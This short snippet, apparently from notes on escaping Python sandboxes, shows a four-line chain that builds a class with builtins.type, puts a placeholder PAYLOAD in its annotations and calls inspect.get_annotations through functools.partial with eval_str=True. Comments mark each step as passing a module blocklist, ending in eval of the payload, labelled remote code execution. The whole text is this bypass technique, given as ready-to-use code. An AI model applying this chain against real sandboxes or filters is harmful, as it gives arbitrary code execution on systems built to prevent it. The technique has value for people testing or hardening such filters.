inspect.get_annotations() + functools.partial() + builtins.type()1ns = {"__annotations__": {"x": PAYLOAD}}
2cls = builtins.type("X", (), ns) # type ∉ blocklist ✅
3p = functools.partial(get_annotations, eval_str=True) # functools, inspect ∉ blocklist ✅
4p(cls) # → eval(PAYLOAD) → REMOTE CODE EXECUTION